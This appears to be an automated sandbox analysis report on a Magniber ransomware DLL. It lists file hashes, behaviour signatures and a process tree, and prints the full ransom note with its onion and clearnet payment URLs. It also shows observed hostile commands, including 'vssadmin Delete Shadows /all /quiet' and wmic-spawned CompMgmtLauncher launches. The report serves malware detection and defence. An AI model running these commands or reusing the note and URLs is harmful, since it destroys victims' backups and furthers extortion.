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Resubmissions

19/08/2021, 01:57

210819-7xxlq9brfj 10

18/08/2021, 02:00

210818-eve5hlsnke 10

Analysis

  • max time kernel
    121s
  • max time network
    173s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    19/08/2021, 01:57

General

  • Target

    22c59e19315ba81452b67c271d46980fac9bc1e6082bed6efcc270e669479d51.dll

  • Size

    21KB

  • MD5

    f9147aeda18f71043955420e853b8d3c

  • SHA1

    a9c6995a91ac8ac6c76379fd38c3fb973273d3b3

  • SHA256

    22c59e19315ba81452b67c271d46980fac9bc1e6082bed6efcc270e669479d51

  • SHA512

    3e38ce57ada7a3fc22c2caf6a882574427c3d0b73cbfc337853017995f27688a5f344157f893f1a70cec2ced15a4a553010031b54e813cacb430670ecd8c251f

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://081c78083c14c040d2dgvzumt.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dgvzumt Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://081c78083c14c040d2dgvzumt.codehes.uno/dgvzumt http://081c78083c14c040d2dgvzumt.partscs.site/dgvzumt http://081c78083c14c040d2dgvzumt.uponmix.xyz/dgvzumt http://081c78083c14c040d2dgvzumt.flysex.space/dgvzumt Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://081c78083c14c040d2dgvzumt.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dgvzumt

http://081c78083c14c040d2dgvzumt.codehes.uno/dgvzumt

http://081c78083c14c040d2dgvzumt.partscs.site/dgvzumt

http://081c78083c14c040d2dgvzumt.uponmix.xyz/dgvzumt

http://081c78083c14c040d2dgvzumt.flysex.space/dgvzumt

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 8 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 5 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 4 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\taskhost.exe
    "taskhost.exe"
    1⤵
    • Modifies extensions of user files
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1108
    • C:\Windows\system32\notepad.exe
      notepad.exe C:\Users\Public\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:1956
    • C:\Windows\system32\cmd.exe
      cmd /c "start http://081c78083c14c040d2dgvzumt.codehes.uno/dgvzumt^&1^&49714945^&66^&315^&12"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" http://081c78083c14c040d2dgvzumt.codehes.uno/dgvzumt&1&49714945&66&315&12
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1192
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1192 CREDAT:275457 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1552
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1328
  • C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1468
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:620
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1196
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\22c59e19315ba81452b67c271d46980fac9bc1e6082bed6efcc270e669479d51.dll,#1
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1860
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1048
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
            PID:940
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:656
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1272
    • C:\Windows\system32\cmd.exe
      cmd /c CompMgmtLauncher.exe
      1⤵
      • Process spawned unexpected child process
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\system32\CompMgmtLauncher.exe
        CompMgmtLauncher.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2168
        • C:\Windows\system32\wbem\wmic.exe
          "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
          3⤵
            PID:2948
      • C:\Windows\system32\cmd.exe
        cmd /c CompMgmtLauncher.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1676
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2180
          • C:\Windows\system32\wbem\wmic.exe
            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
            3⤵
              PID:2352
        • C:\Windows\system32\cmd.exe
          cmd /c CompMgmtLauncher.exe
          1⤵
          • Process spawned unexpected child process
          • Suspicious use of WriteProcessMemory
          PID:960
          • C:\Windows\system32\CompMgmtLauncher.exe
            CompMgmtLauncher.exe
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2196
            • C:\Windows\system32\wbem\wmic.exe
              "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
              3⤵
                PID:2340
          • C:\Windows\system32\cmd.exe
            cmd /c CompMgmtLauncher.exe
            1⤵
            • Process spawned unexpected child process
            • Suspicious use of WriteProcessMemory
            PID:2056
            • C:\Windows\system32\CompMgmtLauncher.exe
              CompMgmtLauncher.exe
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2224
              • C:\Windows\system32\wbem\wmic.exe
                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                3⤵
                  PID:2332
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2500
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2508
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2516
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
                PID:2640
              • C:\Windows\system32\vssadmin.exe
                vssadmin.exe Delete Shadows /all /quiet
                1⤵
                • Process spawned unexpected child process
                • Interacts with shadow copies
                PID:3032

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/1108-74-0x0000000001C60000-0x0000000001C64000-memory.dmp

                Filesize

                16KB

              • memory/1196-60-0x0000000002AE0000-0x0000000002AF0000-memory.dmp

                Filesize

                64KB

              • memory/1552-102-0x00000000004A0000-0x00000000004A2000-memory.dmp

                Filesize

                8KB

              • memory/1552-101-0x0000000075591000-0x0000000075593000-memory.dmp

                Filesize

                8KB

              • memory/1860-62-0x0000000000190000-0x0000000000191000-memory.dmp

                Filesize

                4KB

              • memory/1860-73-0x0000000001D30000-0x0000000001D31000-memory.dmp

                Filesize

                4KB

              • memory/1860-61-0x0000000000180000-0x0000000000181000-memory.dmp

                Filesize

                4KB

              • memory/1860-65-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

                Filesize

                4KB

              • memory/1860-69-0x0000000001D00000-0x0000000001D01000-memory.dmp

                Filesize

                4KB

              • memory/1860-68-0x0000000001CD0000-0x0000000001CD1000-memory.dmp

                Filesize

                4KB

              • memory/1860-64-0x0000000001CA0000-0x0000000001CA1000-memory.dmp

                Filesize

                4KB

              • memory/1860-70-0x0000000001D10000-0x0000000001D11000-memory.dmp

                Filesize

                4KB

              • memory/1860-75-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

                Filesize

                4KB

              • memory/1860-98-0x0000000001FC0000-0x0000000001FC1000-memory.dmp

                Filesize

                4KB

              • memory/1860-63-0x0000000001C90000-0x0000000001C91000-memory.dmp

                Filesize

                4KB

              • memory/1860-66-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

                Filesize

                4KB

              • memory/1860-72-0x0000000001D20000-0x0000000001D21000-memory.dmp

                Filesize

                4KB

              • memory/1956-71-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

                Filesize

                8KB